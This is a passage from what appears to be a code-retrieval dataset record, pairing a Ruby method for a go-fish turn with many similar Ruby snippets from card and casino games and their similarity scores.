2\n end\n end", "def player_turn(player, board)\n check_the_case = false\n while check_the_case == false\n my_choice = 0\n while my_choice < 1 || my_choice > 9\n my_choice = player.call_player\n if my_choice < 1 || my_choice > 9\n p \"Ce n'est pas une commande valide!\"\n end\n end\n check_the_case = board.check_case_value(my_choice, player.number)\n end\n board.display_board\n if board.check_victory(my_choice) == true\n p \"#{player.name} a gagné!\"\n return true\n end\nend", "def draw_final_card\n @card3 = Card.draw(@card1.id, @card2.id)\n puts \"The next card is the #{@card3}\"\n\n # player wins if card is Joker\n raise Rules::Win::Joker if @card3.joker?\n end", "def card_from_user(hand, cards_played)\n next_card_prompt(hand)\n\n puts \"What card would you like to play?\"\n card = get_card_following_suit(hand, cards_played)\n\n puts \"You picked #{card}\"\n hand.delete(card)\n\n card\n end", "def rank(response)\n rank = response.to_i\n if rank >= 1 && rank <= 5\n @current_listen.rank = rank\n else\n puts \"please enter a number 1-5\"\n response = gets.chomp\n rank(response)\n end\n end", "def play_game\n while true do\n deck = build_deck(RANKS, SUITS) # init deck\n choose_players # collect players\n puts BUFFER\n puts \"High Card Commencing. Players in the game are:\"\n PLAYERS.each do |player|\n puts player[:name]\n end\n # start game\n hands = deal_cards(deck) # each player gets a card\n puts BUFFER\n hands.each do |hand|\n puts \"#{hand[:player][:name]} has the #{hand[:card][:rank]} of #{hand[:card][:suit]}\"\n end\n puts BUFFER\n winner = determine_winner(hands)\n puts \"#{winner[:player][:name]} won this round.\"\n puts BUFFER\n leaders = PLAYERS.sort_by{|p| p[:round_wins]}\n puts \"#{leaders.last[:name]} is currently leading with #{leaders.last[:round_wins]} rounds won\"\n puts BUFFER\n puts \"Play again? \\n Press 'q' to quit or 'p' to play again\"\n choice = gets.chomp.downcase\n break unless choice == 'p'\n end\nend", "def correct?\n @guess == @card.answer\n end", "def runner\n welcome\n deal_card\n display_card_total\n prompt_user\n get_user_input\nend_game\ninitial_round\nhit\ninvalid_command\nend", "def human_can_not_play(player, deck)\n puts \"#{player.name} has no possible cards to play\"\n puts 'Press enter to pick up from deck'\n gets.chomp\n player.cards << deck.take_card\n return \"drew a card\"\n end", "def restock_hand!\n return if Bot::CONFIG.hand_size == unplayed_cards.count\n (Bot::CONFIG.hand_size - unplayed_cards.count).times do\n add_player_card PlayerCard.create(answer: game.available_answers.sample)\n end\n end", "def push?\n (session[:player].hand_total == session[:dealer].hand_total) && !( !session[:player].blackjack? && session[:dealer].blackjack? )\n end", "def bet_on_a_number\n puts \"\\nPlease choose the amount of your bet.\"\n puts \"Your bankroll balance is #{@player.bankroll}.\"\n print \"\\n Your bet amount is: $\"\n @bet_amount = gets.to_i\n player.bankroll = (@player.bankroll - @bet_amount) \n puts \"\\nChoose a number.\"\n puts \n user_number_choice = gets.to_i\n roulette_number_result = @roulette_options.sample[:number]\n puts \"\\nThe wheel landed on number #{roulette_number_result}.\" \n puts \n if user_number_choice == roulette_number_result \n number_bet_winnings = @bet_amount * 35\n puts \"\\tYou win $#{number_bet_winnings}\"\n @player.bankroll = @player.bankroll + (number_bet_winnings) \n puts \"\\n\\tYour current balance is $#{@player.bankroll}.\"\n play_again_function \n else \n puts \"\\n\\tSorry, you lose.\"\n play_again_function \n end \n end", "def runner\n # code runner here\n welcome\n card = initial_round\n card = hit?(card)\n if card > 21\n end_game(card)\n end\n display_card_total(card)\n\n\nend", "def onalg_pesca_carta(carte_player)\r\n #expect only one card\r\n @log.info \"Algorithm card picked #{carte_player.first}\"\r\n @cards_on_hand << carte_player.first \r\n check_strozza(carte_player.first.to_s) \r\n end", "def play_a_game\n\t#PLAYER 1 choses a valid selection of r,p,s\n\tprint \"\\nPLAYER 1, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\tchoice = gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_1_choice = choice\n\n\tputs \"-------------------------------------------------\"\n\tprint \"\\nPLAYER 2, please select the corresponding number for your choice:\\n1 rock\\n2 paper\\n3 scissors\\n\\n\"\n\t\t#PLAYER 2 choses a valid selection of r,p,s\n\tchoice = gets.chomp\n\tvalidate_rps_choice(choice)\n\tplayer_2_choice = choice\n\n\tputs lets_see_who_wins(player_1_choice, player_2_choice)\n\nend", "def get_new_card\n \n #Assign a random number between 1 and 13 as the value of the card being \n #created\n card = 1 + rand(13)\n \n #A value of 1 is an ace, so reassign the card a value of 11\n return 11 if card == 1 \n\n #A value of 10 or more equals a face card so reassign the card a value\n #of 10 \n return 10 if card >= 10\n \n return card #Return the value assigned to the new card\n \n end", "def display_result(player, computer)\n key = VALID_CHOICES[player] + VALID_CHOICES[computer]\n if %w(12 23 31).include?(key)\n prompt(\"You lose!\")\n elsif %w(21 32 13).include?(key)\n prompt(\"You win!\")\n else\n prompt(\"It's a tie!\")\n end\nend", "def who_is_winner?(users_name, users_hand, dealers_hand, cards_n_values, initial_deal_bool)\n # Set variables to make it easier on the eyes in proceeding decision tree\n users_sum = sum_cards(users_hand, cards_n_values, users_name, initial_deal_bool)\n dealers_sum = sum_cards(dealers_hand, cards_n_values, \"Dealer\", initial_deal_bool)\n\n if users_sum > dealers_sum\n # User wins\n return users_name\n elsif users_sum == dealers_sum\n # Push, no one wins, game over\n return \"push\"\n else\n # Dealer wins\n return \"Dealer\"\n end\n\nend", "def play_game\nget_winner(comp_choose_rps,user_choose_rps)\t\nend", "def deal_and_check\n get_bet\n deal_hands\n blackjack_winner\n check_winner_else_do(\"player_loop\")\n end", "def credit_player(p, blackjack = false)\n if blackjack\n p.money += p.bet*1.5\n else\n p.money += p.bet\n end\n end", "def rank_test(index)\n @player1.deck.rank_of_card_at(index) == @player2.deck.rank_of_card_at(index)\n end", "def check_cardOwn(card_id) #authroity\n\n value_return = false\n\n if Game.last.players.find_by(user: current_user,role: nil).id == Pockercard.find_by(id:card_id).player_id\n value_return = true\n end\n\n return value_return\n \n end", "def turn_player\n input = get_user_input_and_check([\"h\",\"s\"])\n if input === \"h\"\n\n get_card_and_put_in_hand(\"player\")\n display_board_screen(\"hidden\")\n hand_total = calculate_hand_total_value(@hand_player)\n if check_if_over_21(hand_total)\n return \"over\"\n else\n turn_player\n end\n\n elsif input === \"s\"\n return \"stay\"\n end\nend", "def opponent_turn\n #set variables\n game = Game.find(self.game_id)\n player = Player.find(game.players.last)\n draw_card = Card.where(player_id: -2).first\n opponent_cards = Card.where(player_id: self.id)\n possible_plays = []\n colors = [\"blue\", \"green\", \"red\", \"yellow\"]\n\n #determine eligible cards in hand.\n opponent_cards.each do |card|\n if card.color == draw_card.color || card.number == draw_card.number || (card.card_action != nil && card.card_action == draw_card.card_action)\n possible_plays.push(card)\n end\n end\n #starts decision logic for card to play, otherwise draws a card and looks for possible plays\n if possible_plays.any?\n #discard current draw pile card\n draw_card.player_id = -1\n draw_card.save\n\n #determines card to be played, sets card to be the new draw pile card\n selected_card = possible_plays.sample\n selected_card.player_id = -2\n selected_card.save\n\n #determines if card has special action, and executes action if it does.\n if selected_card.card_action != nil\n\n if selected_card.card_action === \"skip\" || selected_card.card_action === \"reverse\"\n self.opponent_turn\n elsif selected_card.card_action === \"draw\"\n draw_two = Card.where(player_id: 0).sample(2)\n draw_two.each do |card|\n card.player_id = game.players.first.id\n card.save\n end\n self.opponent_turn\n elsif selected_card.card_action === \"draw_four\"\n draw_four = Card.where(player_id: 0).sample(4)\n draw_four.each do |card|\n card.player_id = player.id\n card.save\n end\n self.opponent_turn\n elsif selected_card.card_action === \"wild_color\"\n selected_card.color = colors.sample\n selected_card.save\n end\n\n else\n #switches current turn once card has been selected and played\n if game.current_turn = self.id\n game.current_turn = player.id\n game.save\n else\n game.current_turn = self.id\n game.save\n end\n\n end\n\n else\n #draws a card from the draw pile and repeats opponent_turn process.\n drawn_card = Card.where(player_id: 0).sample\n drawn_card.player_id = self.id\n drawn_card.save\n self.opponent_turn\n end\n end", "def runner\n welcome\n card = hit?(initial_round)# code runner here\n until card > 21\n display_card_total(card)\n card += hit?(deal_card)\n end\n display_card_total(card)\n end_game(card)\nend", "def player_decision(player, hand, hand_index, double, split)\n puts \"#{player.name}, your options for Hand #{hand_index+1}:\"\n puts \" H: Hit\"\n puts \" S: Stand\"\n puts \" D: Double Down\" if double\n puts \" P: Split the Pair\" if split\n puts \" T: Training Mode Recommendation\" if $Training_Mode\n puts \" C: Card Counting Mode Recommendation\" if $Counting_Mode\n puts \" #{shoe_count}\" if $Counting_Mode\n print \"Your choice? \"\n choice = gets.strip.downcase.take(1)\n linebreak\n\n if \"h\" == choice # Hit\n puts \"The dealer gives you a #{player.take(@shoe.hit, hand_index)}.\"\n !busted? hand\n elsif \"s\" == choice # Stand\n false\n elsif \"d\" == choice # Double Down\n player.wallet -= hand.bet\n hand.double_down\n puts \"The dealer gives you a #{player.take(@shoe.hit, hand_index)}.\"\n busted? hand\n false\n elsif \"p\" == choice # Split\n player.wallet -= hand.bet\n puts \"The dealer splits you into:\"\n player.split(hand_index, @shoe.hit, @shoe.hit)\n elsif \"t\" == choice && $Training_Mode # Training Hint\n puts training_recommendation(hand, double, split)\n linebreak\n player_decision(player, hand, hand_index, double, split)\n elsif \"c\" == choice && $Counting_Mode # Counting Hint\n puts counting_recommendation\n linebreak\n player_decision(player, hand, hand_index, double, split)\n else # Invalid\n puts \"Selection not recognized. Please try again.\"\n player_decision(player, hand, hand_index, double, split)\n end\n end", "def get_new_card\r\n\r\n #Assign a random number between 1 and 13 as the value of the card being\r\n #created\r\n card = 1 + rand(13)\r\n\r\n #A value of 1 is an ace, so reassign the card a value of 11\r\n return 11 if card == 1\r\n\r\n #A value of 10 or more equals a face card so reassign the card a value\r\n #of 10\r\n return 10 if card >= 10\r\n\r\n return card #Return the value assigned to the new card\r\n\r\n end", "def isBlackjack(dealer, player, bet)\n\n\tif dealer.getScore(dealer.hand) == 21 && player.getScore(player.hand) == 21\n\t\tputs \"Its a tie! You both got blackjack!\"\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\n\t\texit\n\telsif dealer.getScore(dealer.hand) == 21\n\t\tputs \"Blackjack! Dealer Wins!\"\n\t\tdealer.setWinnings(bet)\n\t\tputs \"Player's winnings: \" + player.getWinnings.to_s\n\t\tputs \"Dealer's winnings: \" + dealer.getWinnings.to_s\n\t\texit\n\telsif player.getScore(player.hand) == 21\n\t\tputs \"You've got a blackjack! Its the dealer's turn.\"\n\telse\n\t\treturn\n\tend\n\nend", "def ask_question(player)\n\n puts \"Player #{player+1}: What is #{generate_question}?\"\n input = gets.strip.to_i\n\n if verify_answer?(input)\n score(player)\n else\n lose_life(player)\n end\nend", "def check_answer(user_answer)\n self.card.answer == user_answer\n end", "def runner\n welcome\n\ncard = hit?(initial_round)\nuntil card > 21\ndisplay_card_total(card)\ncard = hit?(card)\nend\ndisplay_card_total(card)\noutput = end_game(card)\noutput\nend", "def runner\n welcome\n card_total = initial_round #score after 1st two cards\n until card_total > 21\n card_total = hit?(card_total) #prompt user for h or s until card totals more than 21\n display_card_total(card_total) #shows user their total\n end\nend_game(card_total) #considers card total and outputs game over message\nend", "def play\n # print \"\\n Welcome to the game of Scissors-Paper-Rock\"\n print \"\\n Enter your name: \"\n user_name = gets.chomp\n until @user_score == @score_required || @computer_score == @score_required\n options = ['scissors', 'paper', 'rock']\n \n print \"\\nHi #{user_name}, please select 's' for scissors, 'p' for paper or 'r' for rock. \"\n \n # Display user selection:\n selected_options = gets.chomp\n \n puts \"User has selected #{user_choice}.\"\n # p user_choice\n\n # display the computer's randomised selection:\n # options = ['s', 'p', 'r']\n @computer_choice = options.sample\n # p computer_choice\n puts \"Computer has selected #{computer_choice}.\"\n\n result()\n end\n \n return @user_score > @computer_score ? (puts \"Game over! you won!\"): (puts \"Game over! Computer won!\")\n \n end", "def valid_play?(card)\n card.suit == current_suit ||\n card.value == current_value ||\n card.value == :eight\n end", "def playCard()\n if (@hand.length == 0)\n puts \"#{@name} RAN OUT OF CARDS\"\n return false\n end\n topCard = @hand.shift\n return topCard\n end", "def rank\n RANKS.detect { |method, rank| send :\"#{method}?\" } || [:high_card, 0]\n end", "def runner\nwelcome\ncard_total = initial_round\nuntil card_total > 21\ncard_total = hit?(card_total)\ndisplay_card_total(card_total)\nend_game(card_total)\nend\nend", "def play_blackjack\n\n\tdef ask_play\n\t\tprint \"Heya Sam, wanna play Blackjack? (yes or no)? \"\n\t\tif gets.chomp.downcase == \"yes\"\n\t\t\t@play = true\n\t\t\t@hand = (rand(11) + 1) + (rand(11) + 1)\n\t\t\tputs @hand\n\t\t\thit\t\t\n\t\telse\n\t\t\tputs \"goodbye\"\n\t\tend\n\tend\n\n\n\tdef check_win\n\t\tif @hand == 21 \n\t\t\tputs \"You won, Sam! You're goin' Sizzler!\"\n\t\telsif @hand > 21 \n\t\t\tputs \"Gimme all your money, Sam. Ya lost.\"\n\t\telse \n\t\t\thit\n\t\tend\n\tend\n\n\t\n\tdef hit\n\t\twhile @hand < 21 && @play\n\t\tprint \"Heya Sam, you've got #{@hand}. Wanna another hit, Sam (yes or no)? \"\n\t\t@want_hit = gets.chomp.downcase\n\t\t\tif @want_hit == \"yes\"\n\t\t\t\t@hand += (rand(11) + 1)\n\t\t\t\tputs @hand\n\t\t\t\tcheck_win\n\t\t\telse\n\t\t\t\tputs \"Gimme all your money, Sam. Ya lost.\"\n\t\t\t\t@play = false\n\t\t\tend\n\t\tend\n\tend\nask_play\nend", "def purchase_card(turn)\n own_money = turn.player.money\n keep_repeating = true\n while keep_repeating == true do\n keep_repeating = false \n @@cli.say \"Now it is time to purchase a card; you have <%= color('#{own_money}', BOLD) %> money.\"\n # Create a hash for the cards in the town\n town_cards = Hash[ @mk.town.deck.map {|e| [\"#{e[1]} x #{e[0].attribute[:name]} (#{e[0].attribute[:cost]})\", [:establishment, e[0], e[0].attribute[:cost]]]} ]\n card_name_list = town_cards.sort_by { |key, val| val[1].attribute[:from_roll] }.to_h\n # add the landmarks\n card_name_list.merge!(Hash[ turn.player.unbuilt_landmarks.map {|l| [\"#{l.name} (#{l.cost})\", [:landmark, l, l.cost]]} ])\n @@cli.choose do |menu|\n menu.prompt = \"Which card to do you want to buy? \"\n menu.choices(*card_name_list.keys) do |chosen|\n @@cli.say \"You have chosen <%= color('#{chosen}', BOLD) %>. \"\n if own_money < card_name_list[chosen][2]\n @@cli.say \"You can't afford that! It costs #{card_name_list[chosen][2]} but you only have #{own_money}\"\n keep_repeating = true\n else\n process_purchase_of_card(turn, card_name_list[chosen])\n end\n end\n menu.choice(:none, {:text => \"NOTHING TO ME, AH VIENNA\"}) { @@cli.say \"OK, you have chosen to not purchase any card.\"}\n menu.choice(:databank) { databank_menu; keep_repeating = true}\n end\n end\n end", "def rank_officer?\n !rank_id.nil? && rank.rate > 2\n end" ]
[ "0.7087192", "0.68060803", "0.6471887", "0.6410753", "0.63691777", "0.6340101", "0.63045573", "0.627193", "0.624135", "0.6214965", "0.6193872", "0.61796653", "0.6175372", "0.61695784", "0.6155624", "0.61397594", "0.61391777", "0.6135714", "0.6131522", "0.6106471", "0.60844505", "0.60731804", "0.6068245", "0.605993", "0.6054975", "0.6034915", "0.6034501", "0.6031007", "0.60272014", "0.60182863", "0.60115874", "0.6011427", "0.6011117", "0.6009569", "0.5982398", "0.59762627", "0.59682137", "0.59644043", "0.59624267", "0.5960375", "0.59599566", "0.59588265", "0.5958266", "0.5950943", "0.59481806", "0.59460497", "0.59334725", "0.5928321", "0.5909615", "0.5908391", "0.5908258", "0.59072286", "0.5903907", "0.5896586", "0.58943003", "0.5873681", "0.58674574", "0.5865379", "0.58544064", "0.58488274", "0.5847332", "0.58456033", "0.5845567", "0.58442026", "0.58421475", "0.5839674", "0.5838488", "0.583506", "0.58347476", "0.5830842", "0.58304137", "0.5829052", "0.58267623", "0.58195835", "0.5814498", "0.5807154", "0.5803296", "0.5800063", "0.57960284", "0.57922274", "0.57878554", "0.578701", "0.5781604", "0.5778195", "0.5776507", "0.5769883", "0.57694095", "0.5766601", "0.576593", "0.5765128", "0.5761801", "0.5751701", "0.57489395", "0.57453674", "0.5742626", "0.57404846", "0.5738122", "0.57343215", "0.57309335", "0.57302535" ]
0.7425027
0
Lets the user ask for cards unitl they don't get a card with the rank they ask for. Returns the last requested rank.
def ask_for_cards_until_go_fish_and_get_last_requested_rank while true selected_rank = player.select_rank if !try_getting_cards_from_player(selected_rank) return selected_rank end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rank_of_card_at (num)\n cards.fetch(num, \"Index #{num} is out of bounds.\")\n end", "def rank\n RANKS.detect { |method, rank| send :\"#{method}?\" } || [:high_card, 0]\n end", "def rank(response)\n rank = response.to_i\n if rank >= 1 && rank <= 5\n @current_listen.rank = rank\n else\n puts \"please enter a number 1-5\"\n response = gets.chomp\n rank(response)\n end\n end", "def rank_of_card_at(index_number)\n #this if statment assumes that if a deck runs out of cars,\n #then the rank of a non-existant card will be 0.\n #there are other options we could try, such as...\n #\"look at the last card in the deck and use it's rank\"\n #but this is the one we are going with untill instructed other wise.\n if self.cards[index_number] == nil\n return 0\n else\n return self.cards[index_number].rank\n end\n end", "def find_card(rank, suit, deck)\n (0..51).each do |i|\n c = deck[i]\n if (c & suit) && (rank(c) == rank)\n i\n else\n -1\n end\n end\n end", "def try_getting_cards_from_player(selected_rank)\n selected_player = select_other_player\n selected_player_id = game.get_player_index(selected_player)\n if game.players[selected_player_id].has_card_with_rank?(selected_rank)\n add_and_reveal(game.players[selected_player_id].remove_cards_with_rank(selected_rank), selected_player.name)\n return true\n end\n return false\n end", "def get_rank(player, index)\n player.deck.rank_of_card_at(index)\n end", "def rank_of_suit\n SUITS.each_with_index do |suit, i|\n if suit == @suit\n return i\n end\n end\n raise 'suit not found'\n end", "def [](rank)\n if @ranking[rank] == UNRANKED_ID\n unranked_candidates\n else\n @ranking[rank]\n end\n end", "def high_ranking_cards\n\n cards.find_all do |card|\n card.rank >= 11\n end\n end", "def rank\n\t\tRANKINGS.each do |ranking|\n\t\t\treturn ranking if self.send(\"#{ranking}?\".to_sym)\n\t\tend\n\tend", "def rank_starting_hand\r\n sorted_hand = @hole_cards.sort_by { |card| card.rank } # [4,2] => [2,4]\r\n\r\n # Shorthand variables for two cards in hand\r\n (first,second) = [sorted_hand[0],sorted_hand[1]]\r\n\r\n suited = first.suit == second.suit # True if cards have same suit\r\n paired = first.rank == second.rank # True if cards have same rank\r\n connected = first.rank + 1 == second.rank # True if cards have consecutive ranks\r\n\r\n # Check for playable hands and return their rank\r\n # (Some of these checks aren't necessary but are included for readibility)\r\n case first.rank\r\n when 8 then return 14 if paired # Pocket Eights\r\n when 9 then return 9 if paired # Pocket Nines\r\n when 10\r\n return 6 if paired # Pocket Tens\r\n return 20 if second.rank == 12 and suited # Queen-Ten Suited\r\n return 16 if second.rank == 13 and suited # King-Ten Suited\r\n return 12 if second.rank == 14 and suited # Ace-Ten Suited\r\n when 11\r\n return 4 if paired # Pocket Jacks\r\n return 17 if second.rank == 12 and suited # Queen-Jack Suited\r\n return 15 if second.rank == 13 and suited # King-Jack Suited\r\n if second.rank == 14\r\n return suited ? 10 : 18 # Ace-Jack Suited/Offsuit\r\n end\r\n when 12\r\n return 3 if paired # Pocket Queens\r\n if second.rank == 13\r\n return suited ? 11 : 19 # King-Queen Suited/Offsuit\r\n elsif second.rank == 14\r\n return suited ? 8 : 13 # Ace-Queen Suited/Offsuit\r\n end\r\n when 13\r\n return 2 if paired # Pocket Kings\r\n if second.rank == 14\r\n return suited ? 5 : 7 # Ace-King Suited/Offsuit\r\n end\r\n when 14 then return 1 if paired # Pocket Aces\r\n end\r\n # Still played if the hand is suited, paired, or connected, otherwise not played\r\n return (suited or paired or connected) ? 21 : -1\r\n end", "def check_and_assign_rank\n\t# binding.pry # 4, 9, 14, 20\n\t\tallowable_ranks = [/\\A\\d+st\\z/i, /\\A\\d+nd\\z/i, /\\A\\d+rd\\z/i, /\\A\\d+th\\z/i, /\\A\\d+\\z/, /\\AW\\z/i, /\\AL\\z/i, /\\Awin\\z/i, /\\Aloss\\z/i, /\\Awon\\z/i, /\\Alost\\z/i]\n\t\t# allows all numbers only: /\\A\\d+\\z/ ( checks below for not 0: /\\A^0+\\z/ )\n\t\t\t# allows all numbers except 0 (checked below) ending with 'st' 'nd' 'rd' 'th' (case insenitive): /\\A\\d+st\\z/i, /\\A\\d+nd\\z/i, /\\A\\d+rd\\z/i, /\\A\\d+th\\z/i\n\t\t\t# allowable text (case insenitive): W, L, win, loss, won, lost\n\t\n\t\tif self.rank.present?\n\t\t\tstring = self.rank.strip.gsub(\" \", \"\").downcase\n\t\t\tif string.scan(Regexp.union(allowable_ranks)).empty? || string.match(Regexp.union(/\\A^0+\\z/, /\\A^0+st\\z/i, /\\A^0+nd\\z/i, /\\A^0+rd\\z/i, /\\A^0+th\\z/i))\n\t\t\t\terrors.add(:rank, 'Enter only a number above 0, \"W\" or \"L\".')\n\t\t\telse\n\t\t\t\tself.assign_rank(string)\n\t\t\tend\n\t\tend\n\tend", "def rank_of_card_at(index)\n cards[index].rank\n end", "def rank_of_cards_at(index)\n return cards[index].rank\n end", "def getValue(card_number)\n # get card rank\n rank = case card_number % 13\n when 0, 11, 12 then 10\n when 1 then 11\n else card_number % 13 \n end\n \n return rank\n \nend", "def cards_by_rank(ranks)\n @cards.select { |card| ranks.include?(card.rank) }\n end", "def rank\n case @owner\n # Prefer volumes from Princeton most strongly\n when 'njp'\n @rank = 4\n # Recap partners are next in order of preference\n when 'nyp', 'nnc1', 'nnc2.ark'\n @rank = 3\n # Followed by Borrow Direct partners\n when 'yale', 'hvd', 'coo', 'chi'\n @rank = 2\n # These are mentioned by Meagan\n when 'mdp', 'miun', 'uc1', 'uc2', 'loc.ark', 'uva', 'umn', 'dul1.ark', 'ien', 'inu', 'nc01.ark', 'pst', 'pur1', 'ucm', 'uiug', 'wu'\n @rank = 1\n # Anything else is unknown; rank lowest.\n else\n @rank = 0\n end\n @rank # return the rank\n end", "def what_rank\n 10 - all_ranks.find_index{ |truth| truth != 2014} \n end", "def rank\n @rank > 10 ? 10 : @rank\n end", "def hand_rank(hand)\n ranks = card_ranks(hand) # card_ranks return the ranks in sorted order\n\n if straight(ranks) && flush(hand)\n return [8, ranks.max] # 2 3 4 5 6 => [8, 6], 6 7 8 9 T => [8, T]\n elsif kind(4, ranks)\n return [7, kind(4, ranks), kind(1, ranks)] # 9 9 9 9 3 => [7, 9, 3]\n elsif kind(3, ranks) && kind(2, ranks) # 8 8 8 K K => [6, 8, 13]\n return [6, kind(3, ranks), kind(2, ranks)]\n elsif flush(hand)\n return [5, ranks]\n elsif straight(ranks)\n return [4, ranks.max]\n elsif kind(3, ranks)\n return [3, kind(3, ranks), ranks]\n elsif two_pair(ranks)\n return [2, kind(2, ranks), ranks]\n elsif kind(2, ranks)\n return [1, kind(2, ranks), ranks]\n else\n return [0, ranks]\n end\nend", "def high_ranking_cards\n\n cards.select do |card|\n card.rank >= 11\n end\n\n end", "def winning_player\n played_cards.max_by { |_, card| card_scores[card] }.first\n end", "def use_card\n waiting_to_confirm_placement = true\n waiting_to_use_card = true\n invalid_usage = nil\n invalid_confirmation = nil\n remind_cannot_discard = nil\n \n while waiting_to_confirm_placement\n while waiting_to_use_card\n DisplayManager.prepare_ingame_display\n show_state\n puts \"Newest Card: #{@selected_card.to_s} #{'* you cannot discard this card' if @drew_from_discard}\" unless @selected_card.nil?\n puts \"You cannot discard this card because you drew it from the discard pile.\" if remind_cannot_discard\n remind_cannot_discard = false\n \n @card_to_replace = nil\n @card_to_discard = nil\n\n puts InputManager.input_options({ negative: 'Discard this Card', rack_positions: 'Switch With Card at Position' }, invalid_usage)\n invalid_usage = nil\n\n @placement_response = InputManager.get\n\n # If player chooses a location in their rack\n # Get ready to exchange those cards\n if InputManager::INPUTS[:rack_positions].include?(@placement_response)\n prep_place_card_in_rack(@placement_response)\n waiting_to_use_card = false\n\n # If player chooses to discard their card\n # get ready to discard their card\n # Disallow discard if card was drawn from the discard pile\n elsif InputManager.negative?(@placement_response)\n if @drew_from_discard\n remind_cannot_discard = true\n else\n prep_discard_drawn_card\n waiting_to_use_card = false\n end\n else\n invalid_usage = @placement_response\n end\n end\n\n DisplayManager.prepare_ingame_display\n show_state\n puts \"Newest Card: #{@selected_card.to_s}\"\n\n if @card_to_replace\n puts \"You want to exchange #{@card_to_replace.to_s} with #{@selected_card.to_s}.\"\n else\n puts \"You do not want to use #{@selected_card.to_s}.\"\n end\n\n puts \"You are discarding #{@card_to_discard.to_s}.\"\n\n puts InputManager.input_options({ affirmative: 'Save and Complete Turn', negative: 'Do Something Different' }, invalid_confirmation)\n invalid_confirmation = nil\n confirm_response = InputManager.get\n\n # If player confirms their decision\n # persist their decision\n if InputManager.affirmative?(confirm_response)\n save_and_discard(@placement_response)\n waiting_to_confirm_placement = false\n \n # If player changes their mind\n # allow them to choose how to use their card again \n elsif InputManager.negative?(confirm_response)\n waiting_to_use_card = true\n else\n invalid_confirmation = confirm_response\n end\n end\n end", "def card_ranks(cards)\n ranks = cards.map { |card| '--23456789TJQKA'.index(card[0]) }\n ranks.sort! { |a, b| b <=> a }\n if ranks == [14, 5, 4, 3, 2]\n [5, 4, 3, 2, 1]\n else\n ranks\n end\nend", "def card(hand)\n loop do\n print \"What card do you want (only from sets you have): \"\n wanted_card_name = gets.chomp\n # check against sets, and validate input (i.e. wanted card set in hand, but wanted card is not)\n unless Deck.card_id(wanted_card_name).nil?\n if (hand.collect { |e| e[0] }.include? (Deck.card_id(wanted_card_name)[0])) && !(hand.include? (Deck.card_id(wanted_card_name)))\n return Deck.card_id(wanted_card_name)\n else\n print \"Please enter a valid card name...\\n\"\n end\n else\n print \"Please enter a valid card name...\\n\"\n end\n end\n end", "def get_next_card\n if params[:type]\n num_of_cards = session[:all_cards].size - 1\n random_num = rand(0..num_of_cards)\n\n #Ensures a previously dealt card is not dealt again\n while( session[:all_cards][random_num].to_i==0 )\n random_num = rand(0..num_of_cards)\n end\n\n selected = session[:all_cards][random_num]\n session[:all_cards][random_num] = 0\n session[:player_cards] << selected if params[:type].to_s==\"player\"\n session[:dealer_cards] << selected if params[:type].to_s==\"dealer\"\n @status = :ok\n else\n selected = nil\n @status = :failed \n end\n respond_to do |format|\n format.json { render :json => {:status => @status, :selected => selected} }\n end\n end", "def previous_game(nickname)\n @ranking = Ranking.all\n previous = @ranking.find_by(nickname: nickname)\n if previous.nil?\n 0\n else\n previous.points\n end\n end", "def detect_result(dealer_cards, player_cards)\n player_total = total(player_cards)\n dealer_total = total(dealer_cards)\n\n if player_total > GAME_LIMIT\n :player_busted\n elsif dealer_total > GAME_LIMIT\n :dealer_busted\n elsif dealer_total < player_total\n :player\n elsif dealer_total > player_total\n :dealer\n else\n :tie\n end\nend", "def get_rank level, time, used_flag, max_flag, win\n return 'F for Failing unexpectedly' if not win\n\n rank_number = calculate_game_rank(level, time, used_flag, max_flag)\n case rank_number\n when 0\n '??? for Are you humanely conscious?'\n when 1\n 'A for Admirable'\n when 2\n 'B for Badly well done'\n when 3\n 'C for Considerably neutral'\n when 4\n 'D for Desperately medium rare'\n when 5\n 'E for Execellently bad'\n when 6\n 'F for Failing to be the best'\n else\n 'X for X-tremely sorry, nothing is here for you'\n end\nend", "def same_rank(same)\n @rank_count.select {|rank, cards| cards.length == same }.first[0]\n end", "def rank\n send_to_rankers(rankables.prune!)\n end", "def handle_user_choice\n ans = nil # track user input\n while true\n puts \"\\nChoose one of the following options.\"\n puts \"1. Enter set.\"\n puts \"2. Redeal cards (if no sets).\"\n ans = gets.chomp.to_i\n\n if ans == 1\n break\n elsif ans == 2\n redeal # redeal cards\n print_cards\n else\n puts \"Invalid input.\"\n end\n end\n\n ans # return user input\nend", "def determine_winner\n cards = deal\n hands = cards.sort_by do |hand, i|\n hand[:card][2] #limits the hand with two arrays\n end\n winner = hands.last[:player]\n winnerCard = hands.last[:card]\n winnerCard = winnerCard.join(\" of \") #ROADBLOCK: I can't seem to figure this part out. I want to just return the rank and the suit, and return the index for score. Example, 7 of hearts instead of 7 of hearts of 6. I don't want the 6 there.\n\n # score = hands.last[:card].split(\"\")\n\n puts \"#{winner} drew the card, #{winnerCard}\"\n\n # puts \"#{winner}'s score is #{score}'\"\n #ROADBLOCK: I want the index to print out for the score here\n\n puts \"#{winner} wins!\"\nend", "def min_ask\n asks.first\n end", "def value\n card_value = @rank\n if @rank == :A\n card_value = 11\n elsif @rank == :K || @rank == :Q || @rank == :J\n card_value = 10\n end\n card_value\n end", "def rank_test(index)\n @player1.deck.rank_of_card_at(index) == @player2.deck.rank_of_card_at(index)\n end", "def request_play(trick)\n choices = sort_by_rank(valid_cards(trick))\n \n return choices.first if choices.count == 1 # No choice\n return choices.first if trick.number == 0 # Play largest in first round\n return choices.last if trick.empty? # Always play smallest if starting\n \n if choices.first.suit != trick.suit\n # We're free to play anything, get rid of the most unwanted card\n return choices.first\n else\n # We are following a suit...\n \n if trick.high_card && choices.last > trick.high_card\n # We are forced to take the trick, play most unwanted card\n return choices.first\n else\n # We are following a suit...\n \n if trick.count == 3\n # We are the last to play\n if trick.points?\n return play_safe(trick,choices)\n else\n return choices.first\n end\n end\n \n # Check if the remaining players are all out of the suit\n all_out = true\n \n # We are either 2nd or 3rd to play\n all_out = all_out && neighbour(:left).out_of?(trick.suit)\n all_out = all_out && neighbour(:left).neighbour(:left).out_of?(trick.suit) if trick.count == 1\n \n return play_safe(trick,choices) if all_out\n \n # TODO...\n \n if trick.count == 1\n if trick.number < 4\n if trick.suit == HEARTS\n return risk_it(trick,choices,4)\n elsif trick.suit == SPADES\n if trick.points?\n return 